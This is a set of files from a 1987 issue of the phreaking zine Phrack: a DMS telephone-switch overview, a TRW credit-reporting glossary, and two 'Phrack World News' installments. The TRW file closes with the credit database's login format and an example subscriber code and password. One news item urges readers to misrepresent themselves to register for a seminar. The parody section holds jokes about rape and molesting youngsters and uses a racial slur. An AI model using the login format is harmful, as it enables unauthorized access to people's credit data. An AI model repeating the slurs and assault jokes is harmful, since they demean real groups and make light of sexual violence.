^ ‑ ‑ ‑ |Network | ‑ ‑ ‑ ‑‑‑‑‑

CCIS \ ‑‑‑‑‑‑‑‑‑‑‑‑ Modem

Signaling \ |

‑ ‑ ‑ ‑‑‑‑‑

AN Links‑‑| | | CCC |

‑ ‑ ‑ ‑‑‑‑‑

Channel

Bank

Acronyms:

DIG ‑ Digital

AN ‑ Analog

DTC ‑ Digital Trunk Controller

MSB ‑ Message Switch Buffer

ST ‑ Signaling Terminal

TM ‑ Trunk Module

NUC ‑ Nailed‑Up Connection

IPML ‑ Inter‑Peripheral Message Link

Common Channel Interoffice Signaling No. 7

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Common Channel Signaling (CCS) No. 7 or CCIS7 is a CCS system based on CCITT No. 7. CCIS7/CCS7 on the DMS switch consists of two parts: the Message Transfer Part (MTP) and the Interim Telephone user Part. They are compatible with DMS‑100, DMS‑200, DMS‑100/200, and DMS‑100/DMS‑100/200 with TOPS.

CCIS7 can't tell the difference between banded and direct signaling. CCIS7 uses Destination/Origination Point Codes (DPC/OPC) to route back to the switch.

CCIS7 can handle Automatic Calling Card Service (ACCS), Enhanced INWATS, Local Area Signaling Services, and Direct Service Dialing Capabilities.

Equal Access

~~~~~~~~~~~~

The DMS‑200 Access Tandem (AT) gives a traffic concentration and distribution function for interLATA traffic originating and a distribution function for interLATA traffic origination or terminating inside a Local Access and Transport Area (LATA). This gives the interLATA Carrier (IC) access to more that one end office inside the LATA. It can handle InterLATA Carrier access codes (10xxx), 10xxx and 950‑yxxx dialing, Automatic Number Identification (ANI) on all calls, answer supervision, equal access Automatic Message Accounting (AMA) for both originating and terminating calls, and operator service signaling.

The DMS‑100 EA gives direct and tandem switched access service inside the LATA for originating and terminating to interLATA Carriers. It is available in the following three ways:

Equal Access End Office (EAEO)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DMS‑100 Equal Access End Office (EAEO) gives a direct interconnection to interLATA Carriers' (IC) and international Carriers' (INC) Points of Presence (POP) inside the LATA.

Access Tandem with Equal Access End Office

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The DMS‑200 Access Tandem (AT) when used with equal access end office (EAEO) lets trunk tandem interconnect to ICs/INCs POP inside the LATA.

The connection of the Equal Access End Office (EAEO) to an IC/INC through the DMS‑200 Access Tandem (AT) uses what is called two‑stage overlap output pulsing which makes the time it takes to set up a call quicker. The AT uses the digits OZZ + XXX out pulsed in the first stage to identify the IC/INC dialed and to pick out outgoing trunk. Then a connection is established from the IC/INC to the EAEO through the AT. The second stage digits consist of ANI and the called numbers are passed through the DMS‑200 AT at the IC/INC.

An AMA terminating record in AT&T format is produced by the DMS‑200 for all the EAEOs. A per call terminating AMA record is made for calls that get to the stage where the trunk from the IC/INC has been seized and a "wink" has been returned by the DMS‑200 AT.

Access Tandem with a Non‑Equal Access End Office

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DMS‑200 AT using a non‑equal access end office gives trunk tandem connection to an IC/INC POP within the LATA. To set up a call, connection of Feature Group B (FGB) or Feature Group C (FGC) End Office to an IC/INC through the DMS‑200 AT uses the standard Bell Central Automatic Message Accounting (CAMA) signaling. The Access Tandem uses the XXX digits of the access code 950‑YXXX out pulsed from the FGB end office to identify the IC/INC and to connect to an outgoing trunk.

Mechanized Calling Card Service (MCCS)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The fraudulent use of calling cards, third number and collect calls and the increasing movement to automate current operator services has directly led to the implantation of the Mechanized Calling Card Service (MCCS) to DMS‑200/TOPS and to the remote and host Operator Centralization (OC).

MCCS uses CCIS to relay queries and responses to and from the DMS‑200/TOPS. Operator handled calling card calls and the direct entry by subscribers of Calling Cards by DTMF (Touch‑Tone) telephones are given special provisions by the MCCS. Both the operator handling and the direct entry of calling card calls are decreasing the size of the operators.

Billed Number Screening (BNS) gives an enhancement to the operator‑handled collect and third‑number billing by using CCIS to screen a number at the billing validation data base for billing restrictions (i.e. the third number is a fortress). This feature naturally will reduce fraudulent use of the collect call feature.

Common Channel Interoffice Signaling‑Direct Signaling (CCIS‑DS), which is the feature that the MCCS is designed around, is used to transmit messages to and from many possible Billing Validation Centers (BVCs). Messages transmitted to the BVC about MCCS include the billing number and the Personal Identification Number (PIN). In BNS the messages have the special billing number (collect or third number). The return messages from the BVC include validity (of the number), billing restrictions (if any), and the Revenue Accounting Office (RAO) code.

Auxiliary Operator Services System

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The DMS‑200 Auxiliary Operator Services System (AOSS) is used primarily for Directory Assistance and the intercept needs that are not included in the TOPS package. The AOSS is similar to TOPS and co‑exists with TOPS on the DMS‑200 Toll system.

Major benefits of the AOSS include: Directory Assistance is provided with a modern environment, AOSS position administrative activities are performed by the DMS‑200 toll maintenance system, trunking savings are achieved by combining trunking for 1+, 0+, and Directory Assistance traffic, DA services are managed by using TOPS methods, creation of a built‑in training system which does not require additional training equipment and reduces training costs.

Integrated Business Network

~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Integrated Business Network (IBN) is a revenue‑producing concept designed for small and big businesses to offer modernized PBX and Centrex features. The Operating Company can use the IBN to maintain and enhance its competitive position on a operational DMS‑100 and DMS 100/200 switches. While using the DMS‑100 switch, the Operating Company can support varying business features along with existing local/toll traffic.

IBN services can be introduced to a Centrex‑Central Office (CO) or a Centrex‑Customer Unit (CU) by additional software modules and minor hardware enhancements.

Current IBN features include: A growing system that can handle 30,000 lines, networking capabilities, city wide service for DMS‑100 switch and remotes for any one customer Station Message Detail Recording (SMDR), which gives IBN customers call records. The records can be used for system analysis and control and station charge‑back. SMDR can use LAMA records (if the IBN host has LAMA equipment), centralized attendant maintenance, and administration functions and Direct Inward Dialing (DID).

Electronic Switched Network (ESN)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Electronic Switched Network is designed to meet the telecommunication needs of large multi‑location corporations. The ESN is made up of a SL‑1 or SL‑100 Digital Business Communications System with networking features or a DMS‑100 IBN host. The SL‑1 can handle from 30‑5000 lines. The SL‑100 and the DMS‑100 IBN hosts can hold from a few thousands to 30,000 lines.

A DMS‑100 IBN or SL‑100 can remotely serve many locations from the host site. This is done by a connection through digital transmission facilities which are set up at remote modules at the subscriber's premises.

Here are some diagrams showing the differences between normal private telecommunications networks and ESN networks.

Normal telecommunications network

==================

‑‑‑‑‑ ‑‑‑‑‑‑

[Phone]‑‑| SnS | | SL‑1 |‑[Phone]

| PBX | | PBX |

‑‑‑‑‑ ‑‑‑‑‑‑

| |DOD/DID DOD/DID| |

| ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑ |

|Tie | | Tie|

|Trunk ‑‑‑‑‑‑‑‑‑ Trunk|

‑‑‑‑‑‑| Class‑5 |‑‑‑‑‑‑

‑‑‑‑| Centrex |‑‑‑‑

| ‑‑‑‑‑‑‑‑‑ |

| |

| |

| |

‑‑‑‑‑ Tie Trunk ‑‑‑‑‑‑‑‑‑

| SnS | ‑‑‑‑‑‑‑‑‑‑| Class‑5 |

| PBX | | Centrex |

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑

| |

| |

| |

| |

‑‑‑‑‑‑‑ ‑‑‑‑‑‑

[Phone]‑| Small | | SL‑1 |‑[Phone]

| PBX | | |

‑‑‑‑‑‑‑ ‑‑‑‑‑

ESN Network

======

‑‑‑‑‑‑‑‑

[phone]‑‑| Remote | | SL‑1 PBX |‑‑[phone]

| Module | | ESN Main |

‑‑‑‑‑‑‑‑

|

| DS‑1 Facility | DS‑1 Facility

| ‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑> | Local Class 5| <‑‑‑‑‑‑‑‑[phone]‑‑‑‑‑‑‑‑‑| DMS‑100 |

‑‑‑‑| IBN/ESN |‑‑‑‑‑‑‑‑‑‑‑‑‑

2W Loop MFIDP | ‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | ESN Trunk Group

or DS‑1 | | | or DS‑1

| ‑‑‑‑‑

| | CSC | | Local Class 5 |

‑‑‑‑‑‑‑‑ ‑‑‑‑‑ DMS‑100 |

| SL‑100 | <‑‑‑ DS‑1 ‑‑‑‑> | IBN/ESN |

‑‑‑‑‑‑‑‑ Facility ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

|

| DS‑1 Facility | DS‑1 Facility

|

‑‑‑‑‑‑‑‑

[phone]‑‑| Remote | | SL‑1 PBX |‑‑[phone] | Module | | ESN Main |

‑‑‑‑‑‑‑‑

Specialized Common Carrier Service (SCCS)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The DMS‑250 Specialized Common Carrier Service (SCCS) provides the capability of Analog to Digital (A/D) and Digital to Analog (D/A) conversions which are necessary with analog circuits. The DMS‑250 can also switch voice and data circuits.

The DMS‑250 takes either analog or digitally encoded info and by using time slot interchange, switches it from any input port to a temporary addressed and connected exit port. The info may or may not be converted back to analog.

Cellular Mobile Radio Service

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A cellular system consists of two main parts: a cellular switch and cell site equipment.

Cellular Switching Systems

~~~~~~~~~~~~~~~~~~~~~~~~~~

A cellular switch performs three main functions: audio switching, cell site control, and system administration.

The DMS switches provide three basic implementations for cellular switching: Stand‑alone, Combined, and Remote.

Stand‑alone switching is done by a Mobile Telephone Exchange (MTX) which is interfaced with one or more class 5 end offices. The connection is made by DID/DOD trunks. Depending on the needs of the area, the MTX can be divided as follows: MTX which serves urban areas, MTXC which handles suburban areas, and MTXM which is used for rural areas.

Combined switching is incorporated into a DMS‑100 by some hardware additions and cellular software. Combined switching is designed to give an easy, cost‑effective way to install cellular services to an existing host.

Remote Switching is done by combining Remote Switching Center (RSC) with a Cell Site Controller (CSC). This combination is hosted by either a stand‑alone or a combined switch. Remote Switching is designed for serving suburban centers, remote areas, or a small community and it gives extra flexibility for a growing system.

All of these cellular switches have the ability to balance the workload among various cell sites. For example, if one site's workload reaches the programmable level of congestion, calls would be routed to nearby sites that can handle the extra calls.

Cell Site Equipment

~~~~~~~~~~~~~~~~~~~

Cell site equipment consists of a CSC and radio equipment. The CSC is controlled by the cellular switch and it controls radio equipment and maintenance tasks. The CSC will work on any MTX cellular switch because of the Remote Cluster Controller (RCC).

The radio equipment consists of self‑contained Radio Channel Units (RCU), antennas, transmitter multi‑couplers, and receiver combiners.

By different program software, an RCU can perform voice, control locating, and test functions. The self contained nature allows the RCU be remotely located to the CSC. A RCU has built‑in circuitry for extended testing of the radio part of the system.

Control C

<End of File>

<May 1987>

TRW Business Terminology

==Phrack Inc.==

Issue XIV, File 6 of 9

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

TRW Business Terminology

~~~ ~~~~~~~~

by Control C

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Term Explanation

‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

Legal Legal Involvement

Collect Collection Account

Writ‑Off Account Written Off

NSF Not Sufficient Funds

Lease Default Lease Default

Liens Liens

Repo Repossessed

RFC Refused Further Credit

Pays‑Sol Pays Slow

Not Pay AA Not Paying as Agreed

Cia‑Our‑Req Cash in Advance‑Our Request

Was Pastdue Account was Past Due

Was Problem Problems In the Past

CIA Cash in Advance

Adj.Bureau Adjustment Bureau

COD Cash on Delivery

COD Cusreq COD Customer Request

Adv‑Trend Advertise Trend

New Owner Recent Ownership Change

Hldg‑Ord Holding Orders

Secured Secured Account

Discount Discount

Improving Improving

Unr‑Disc Unearned Discount Taken

X‑Deduct Unauthorized Deductions

Ref Fin Chg Refused Finance Charge

Satsftry Satisfactory Account

Bond Satis Bonding Satisfactory

Prompt Pays Promptly

Exlent Acct Excellent Account

1st Sale First Sale

21 Dys Late 21 Days Late

14 Dys Late 14 Days Late

7 Dys Late 7 Days Late

Exc Disc Excessive Discount Taken

Dispute Dispute Invoice

Prod Complt Product Complaint

Consol Note Consolidation Note

Ltd.Exp Limited Experience

Note Pays By Note

Floor Plan Floor Plan Account

Trd‑Acpt Pays by Trade Acceptance

Ern Disc Earned Discount Taken

Job Complet Job Completed

Unfl‑Ord Unfilled Orders

Installment Installment Account

New Account New Account

Consignment Sell on Consignment

Retention Retention

Multi Locate Multiple Locations Comments not Available

ADS XXX Average Days Slow

Sold XXX Yrs Number of Years Sold

DDWA XXX Dollar‑Days Weighted Average

Payment Terms

‑‑‑‑‑‑‑

Term Explanation

‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

Net X Net Due in X Days

Net Eom Net amount due by the end of the month

Net Prx Net amount due on the 1st of the following month N10 Prxo Net due within 10 days of the first of the following month N10 Eom Net due within 10 days of the end of the month X/10 N15 X Percentage discount if paid in 10 days or total amount due in 15 days

X/15 N30 X percentage discount if paid in 15 days or total amount due in 30 days

X/30 N45 X percentage discount if paid in 30 days or total amount due in 45 days

X/10 Eom X percentage discount if paid in 10 days or total amount due at the end of the month

X/15 Eom X percentage discount if paid in 15 days or total amount due at the end of the month

X/10 Prx X percentage discount if paid in 10 days, otherwise due on the first of the following month

X/15 Prx X percentage discount if paid in 15 days, otherwise due on the first of the following month

X/Eom X percentage discount if paid by end of month X/Prox X percentage discount if paid by the first of the following month

Cs Dis Discount in return for payment before final due date. Tr Dis Reduction of the selling price and is always available to the customer regardless of the lateness of the payment Special Special terms offered by seller

Contrct As stated in contract

Varied Offers several different terms

Roi Remit on receipt of invoice

D/S Draft Payable at sight

D/O Draft with order

COD Cash on Delivery

COD‑Req COD at seller's request

CIA Cash in advance

CIA‑Req CIA at seller's request

CWO Cash with order

NET Balance Due

Multi Customer has more than one way of paying

Note Written promise to pay at a specific time

Cash Cash only

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Login

‑‑‑

The proper format for TRW is as follows:

TCA1 RTS subcode+pw lastname firstname middleinitial...,street# streetinit zipcode

Example: (Subscriber code is 1234567 and PW is OS5)

TCA1 RTS 1234567OS5 SMITH JOHN S...,3123 H 37923[Ctrl S][Ctrl M]

^C

Phrack World News Special Edition #1

==Phrack Inc.==

Issue XIV, File 7 of 9

^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^

PWN PWN

^*^ ^*^ Phrack World News ^*^ ^*^

PWN Special Edition I PWN

^*^

PWN Edited, Compiled, and Written PWN ^*^ by Knight Lightning ^*^

PWN PWN

^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^

Welcome to the first Phrack World News "Special Edition." In this issue we have two parts. The first section deals with possible news stories of the future after the weekend of June 19‑21... SummerCon '87! The second section is a presentation of acronyms that never were, but should be. All posts have been taken from Metal Shop Private prior to its takedown in June. Posts have been edited for this presentation.

PWN Special Edition is not a regular series and will only appear when the author deems it necessary to release one. Please keep in mind that all material in this file was written several weeks prior to SummerCon '87 and therefore the events chronicled here are supposed fiction and comedy.

Thank you ‑KL.

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Name: Phantom Phreaker

SummerCon Prank Backfires June 31, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~

Well, the SummerCon went over well, except when the convention attendees stole every payphone in the building and placed them in front of Taran King's hotel room, rang the door, and shouted "Room Service." Needless to say, Taran King is now in jail until he can pay for all the stolen payphones.

________________________________________

Name: Knight Lightning

Phreak/Hack World Shut Down! June 21, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

It happened yesterday when John Maxfield accompanied by Ralph Meola, Richard Proctor, Dan Pasquale, Edward P. Nowicki, and several members of the FBI, Secret Service, National Security Agency, and local baggers 402 literally invaded SummerCon '87, the annual phreak/hack reunion. It has been reported that a total of 97 suspects have been placed in custody with crimes linking them to jay walking, loitering, curfew violation, disturbing the peace, and belching in excessive amounts.

Details are sketchy but it appears that it all started when a very drunk pair of twins decided to visit the local McDonald's and demanded a COSMOS Sundae with passwords on the side. When a very confused McDonald's employee refused, they became agitated and whipped out a blue box, using it to open the "trunks" of all the cars in the parking lot and then finally throwing it at an employee. A mad crowd of people rushed to the Best Western Executive International Inn and tried to storm the building when the other previously mentioned uninvited guests arrived.

Final remarks from the twins... "So who wants to discuss CAMA?"

Information provided by F. R. Newsline Services and on the scene reporting by Broadway Hacker (arrested for attempted prostitution).

________________________________________

Name: Thomas Covenant

SummerCon '87 "Laugh Riot"; Numerous Phreaks Still Missing June 25, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(St Louis, PP) Authorities are still searching for the nearly 100 missing telecom enthusiasts who gathered in town over the weekend for a convention. Apparently the missing parties were sitting around, undergoing the intake of many assorted consciousness altering chemicals, when a strange young man with shoulder length hair and wearing a Judas Priest jacket appeared. He forced them all into a white 1957 Chevy pickup and took off, leaving only Evil Jay and Thomas Covenant behind. Evil Jay was quoted as saying it was a "laugh riot." Thomas Covenant had nothing to say as he is in shock from the incident and currently undergoing treatment at the St. Louis Home for the Terminally Bewildered.

________________________________________

Name: Phantom Phreaker

Computer Enthusiasts Infected With The AIDS Virus June 22, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From St. Louis Post Dispatch

They called it "SummerCon," a gathering of "phone phreaks" and computer hackers who are loosely organized around a network of computer bulletin boards. However, tragedy struck the meeting when the hacker named Evil Jay tricked another hacker, Suicidal Nightmare, into entering the room belonging to Broadway Hacker. Suicidal Nightmare was found in the parking lot with a torn anus.

As if this wasn't bad enough, Broadway Hacker then went wild and began trying to molest the smallest hackers there. He could be seen chasing Kango Kid while screaming about a flaming mailbox and rubbing his genital area.

Other problems arose from the hackers meeting. Several people were arrested for possession of cannibus and illegal possession of alcohol. The other charges included:

o Intoxicated Pedestrian

o Disturbing the Peace

o Contributing to the delinquency of a minor

o Failure to yield at stop sign

o No turn signal

o Theft of telephones

o Verbally harassing telephone operators

As you can see, these computer 'hackers' have no morals and decency and should not be allowed to meet.

(C) Post Dispatch 2050

Written by Jack Meoff

________________________________________

Name: Knight Lightning

Phreak World Crippled; SummerCon Causes Despair June 22, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Today, the phreak world was astounded and dealt a horrifying blow as all the phreaks who attended SummerCon left with their entire phreak knowledge literally erased from their minds due to an excess of drinking and other unknown mind altering substances. It is unknown as to if these effects are temporary or a life‑long destruction.

Anarchy World Takes Charge June 23, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~

MetalliBashers Inc. have become the new "LOD" of the modem world since all of the LOD members no longer can even remember what LOD stands for (in fact, no one can, and forget I mentioned it!). With MBI taking charge, the new wave of the modem world has turned strictly anarchy, although there are rumors of various pirating organizations beginning to unload new wares soon.

Investigators Lose Jobs! June 24, 1987

~~~~~~~~~~~~~~~~~~~~~~~~

John Maxfield reportedly lost ALL contracts today when it was discovered that the phreak/hack community was completely destroyed, thus no one needed protection from them. He has now taken a job with the local sanitation management firm to help figure out what to do with all the garbage now that the phreak community wasn't stealing 1/3 of it anymore.

________________________________________

Name: Evil Jay

Suicidal Nightmare ‑ History June 23, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Suicidal Nightmare met death head on when Evil Jay knocked on his door pretending to be a lineman checking on his line. Once inside, Jay proceeded to swing a hand set at him with amazing accuracy. Once dragged outside, Jay then proceeded to tie Suicidal naked to a tree and call the ever‑lovin' Broadway Hacker over to do his stuff. Jay was last heard pleading insanity. Suicidal Nightmare remains in intensive care, and Broadway Hacker is happy.

________________________________________

That is the last of the news reports, now on with "Those Amazing Acronyms...!"

________________________________________

Name: Doom Prophet

FUCK‑Facilities Utilization Control Kitchen. A really hot office. They keep backups of all systems per a LATA, or in special cases, the entire BOC area, along with user logs and passwords. They use the CUNTLICK system to interface with SHIT, explained momentarily. They are difficult to reach as no one knows their number, and anyone calling it has to enter a special queue dispenser where he enters routing information to reach the FUCK ACD. The FUCK technicians answer as normal subscribers and you have to tell them a codeword.

PENIS‑Plant Engineering Network Information System. Used by the PMS to deal with outside plant details and layout maps.

CUNTLICK‑Computer Utilities Network In the Control Kitchen. Used to sensor with SHIT.

SHIT‑Supreme Hardware Inventory Totals. Self explanatory.

CRAP‑Customer Repair Analysis Service. They use PENIS to supply PMS with info.

PISS‑Primary Intertoll Switching Servicemen. Co‑ordinate classes 1 through 4 toll offices and monitor the STP's.

BITCH‑Building Installation Table Channel. Used by SHIT technicians to obtain new switch and office status.

SCAB‑Switching Cable Analysis Bureau. They work with PMS for trunk testing and maintenance. The systems they use are FART and DOPAMINE.

BASTARD‑Box Accessible System To Aid Real D00ds. A special in band NPA with full OSC support for blue boxers to experiment within legally. Only operating in special areas.

________________________________________

Name: Phantom Phreaker

DOGSHIT‑Division Operations Group SHIT (see above post). DOGSHIT is like SHIT, except that DOGSHIT is in a division.

CATPISS‑Centralized Automatic Tandem Priorities Interexchange Support System. Self‑explanatory.

BEER‑Bell Electrical Engineering Research

COOL‑Computerized Operations On Loops

________________________________________

Name: Taran King

BOOGER‑Bell Operational Office for Generation of ESS Reports. Self Explanatory.

STAN‑Spanish Tacos And Nachos. This support group, Californian based, maintains food services for all superior employees (all employees).

NATE‑Nacho And Taco Emissary. This department secretly interfaces STAN with the rest of the network due to the STAN group's inability to fit in with society. **Due to divestiture, NATE and STAN are no longer part of the network**

IL DUCE‑Not an acronym, but the janitorial services department of the network.

PUMPKIN‑Peripheral Unit Modulator Phor Kitchen Installations of NATE. This group is in charge of interfacing kitchen activities through Project Genesis. See RAPE.

BRRR‑RING‑The official word for the sound an AT&T phone makes receiving an incoming call.

BANANA‑Basic Analog Network Analog Network Analog (No wonder they went digital)

RAPE‑Red Afro‑PUMPKIN Enthusiast. This group, led by Peter, cheers IL DUCE while he sweeps the floors.

SCOOP‑Secondary Command Output Only Procedure. This converts all text to lower case. It is a function used in most Bell computers along with LEX.

LEX‑Lengthy Explanatory Xlations. This program, found alongside SCOOP, converts all lowercase text, from SCOOP, into upper case and 40 columns surrounded by "$"s.

** Warning! Never leave SCOOP and LEX running simultaneously or you will surely cause L666 to occur. **

L666‑The warning message generated by computers indicating endless loops of conflicting jobs. This also indicates that everything is fucked. See LOKI.

LOKI‑Life Over‑Kill Incentive. If you find this error message on your computer, do not reboot the computer, but be sure to reboot something.

________________________________________

Name: The Disk Jockey

SNATCH‑Senses Nodes And Traps Code Hackers

TITS‑Telephone Involved in Tandem Skipping

PUBIC‑Plastered Uniforms Brought Inside CO (An employee infraction)

RAD‑Receive Analog Department

DISC‑Deadbeats Instinctively Scanning for Carriers

LAP‑Local Area Payphone

Or use the codewords that Linemen and Telco employees use....

This Means This

‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑

"OHFUCKNIGS" "I'm trapped in a phone booth in a black neighborhood" "FIDOFUCK" "A customer's pet dog has me trapped up a pole" "HOMEBONE" "I got laid while doing a customer's installation" "SNOOZEBOX" "I'm sleeping, but saying I'm fixing little green boxes"

________________________________________

This concludes Phrack World News Special Edition. I hope you enjoyed it. If you have any comments or ideas be sure to get in touch with me or Taran King.

:Knight Lightning

Phrack World News Issue XIV/1

PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN

^*^

PWN ^*^ Phrack World News ^*^ PWN

^*^ Issue XIV ^*^

PWN PWN

^*^ ^*^ Compiled, Written, and Edited ^*^ ^*^ PWN by Knight Lightning PWN

^*^

PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN ^*^ PWN

On the Home Front/SummerCon '87 April 22, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Well I'd like to start off this issue with an apology to my readers. Although I had suspected it for quite some time, I never had any real reason to doubt the validity of some of the past events detailed in PWN. Please disregard and ignore these previous stories relating to Oryan QUEST.

Oryan QUEST Busted/415 Gets Hit Again PWN Issue 4‑2 Dan Pasquale Seeks New Entertainment PWN Issue 4‑3 Oryan QUEST Vs. Dan Pasquale PWN Issue 6‑1 Dan Pasquale: Still Hostile Or Ancient History? PWN Issue 7‑1

The events regarding Oryan QUEST getting busted or having anything to do with Dan Pasquale (of the Fremont Police Department) were fictional propaganda devised and given to me under false pretenses by Oryan QUEST in an attempt to make himself look like a more experienced phreak and to give him more publicity and fame in the phreak/hack world.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Re‑Announcing SummerCon! The biggest and best phreak/hack convention ever! Scheduled for June 19,20 1987 in St. Louis, Missouri and sponsored by TeleComputist Newsletter, Phrack Inc., and Metal Shop Private.

The festivities will take place at the Executive International Best Western. There will be two adjoining rooms for guests to sack out in, but you are welcome to grab your own for space and privacy reasons. The phone number at the hotel is (314) 731‑3800. The name being used to rent the rooms and the room numbers will remain unannounced until June 19, 1987 where this information will be placed on the Phrack Inc./Metal Shop Private VMS and the TeleComputist Information Line. This is to prevent any individuals from spoiling our fun at the Conference.

We have received quite a few confirmations about people going and have heard from dozens more who plan to attend. Just based on who we know for sure, this will be an event to remember for the rest of your lives.

The schedule works sort of like this;

Friday Night ‑ Party and introductions

Saturday Afternoon ‑ The conference will commence in the hotel's banquet hall. Saturday Night ‑ More partying

Sunday Morning ‑ Everyone cruises home

Guests are asked to please bring some extra cash to help pay for the expense of this weekend. The front money will be supplied by the sponsors, but any help will be greatly appreciated. Thanks.

Remember, everyone is welcome to show up. We only ask that you inform us (myself, Taran King, and/or Forest Ranger) of your plans. This also applies for speaking at the conference. Please inform us of the topic and how long you plan to talk.

If you have any further questions please contact Knight Lightning, Taran King, or Forest Ranger on any bulletin board you can find us, the Phrack Inc./Metal Shop Private VMS, or call the TeleComputist Information Line at 314‑921‑7938.

Hope to see you there.

:Knight Lightning

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

*** Special Newsflash ***

^*^ Free Seminar ^*^

When: June 19, 1987 (Morning and Evening)

Where: Sheraton Plaza

900 West Port Plaza

St. Louis, Missouri [Good timing isn't it]

Topics: Advanced Tolls For Protocol Analysis Using the OSI 7‑layer model

Special operator interfaces for: ‑ entry level operators

protocol technicians

software engineers

Test T1, SNA, X.25, ISDN, SS#7 with the same tester

Presented by: Atlantic Resource Corporation

Featuring: The INTERVIEW 7000 (R) Series Protocol Analyzers Discussion: T1 Testing

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Call to register:

Tell them you are (pick one):

‑ A manger responsible for protocol testing and certification

‑ An engineer developing OSI 7‑layer protocols

‑ A network manager

‑ Tech control supervisors

Seating is limited so act quickly.

RSVP Atlantic Research Corp. 800‑368‑3261

________________________________________

Voice Numbers; The Road To Retirement April 5, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A rebuttal by Kerrang Khan (Edited for PWN)

Contrary to popular opinion, I actually have a reason for not giving out my phone number. There has been enough bullshit about this "incident," and I guess it's time I gave my side of the story.

I don't want anyone to have my phone number. Nobody in the phreak/hack world needs it. I'm easily reached via boards etc., and if it is that important to speak with me voice, loops and bridges do exist. It may be more convenient for you to have my voice number, but I don't think its really worth the risk. Face it, security people are getting serious about tracking people down.

Unless you move around the country on a monthly basis, you might as well retire when your phone number gets 'out'. This is not to say everyone whose number isn't secure is due to be busted but consider the following:

If I have your phone number I also have:

1) Your full name

2) Age

3) Address

4) Criminal record (its public knowledge)

As well as just about anything else that comes to mind. If I can do that, just think what an investigator can do. As far as Psychic Warlord's policy of no number, no access goes, well I think it sucks. Anyone here remember "The Board" in 313? [See Phrack World News Issues 7‑1 and 9‑1 for information concerning "THE BOARD" and its aftermath.]

I don't know much about Psychic Warlord and he doesn't need to know much about me. Its his system, and he can do what he likes with it, but I hope this isn't the wave of the future. Its a good policy not to leave phone numbers when calling boards for the first time, and after that, you'll have to use common sense. That is what it all comes down to, common sense. It seems to be in short supply these days.

Post Taken From Metal Shop Private

________________________________________

Metalland South: Phreak BBS or MetalliFEDS Inc.? June 2, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Metalland South BBS, at 404‑327‑2327, was once a fairly well known bulletin board, where many respected members of the hack/phreak community resided. It was originally operated by two guys from Metal Communications, Inc., but it wasn't an MCI club board. The sysop was Iron Man and the co‑sysop was Black Lord. Recently, it has come to the writer's attention, that MS has come under new management, new policies, and possibly a new idea; Sting.

Somewhere around September‑October 1986, Iron Man removed all of the hack/ phreak related subboards as well as all G‑philes from the system. He was apparently worried about getting busted. The last time this reporter spoke with him, Iron Man said he intended to put the hack/phreak subs back up. Then, not long after this conversation, the number was changed (The original number was 404‑576‑5166).

A person using the alias of The Caretaker was made co‑sysop and Iron Man would not reply to feedback. Everything was handled by The Caretaker [TC from now on]. TC did not allow any hack/phreak subs, but said he would put them up if the users would follow STRICT validation procedures.

Strict validation on MS includes:

^*^ Your Real Name

^*^ Your Address

^*^ Your Voice Phone Number

^*^ A Self‑Addressed Envelope (in which he will send back with your account number and password.)

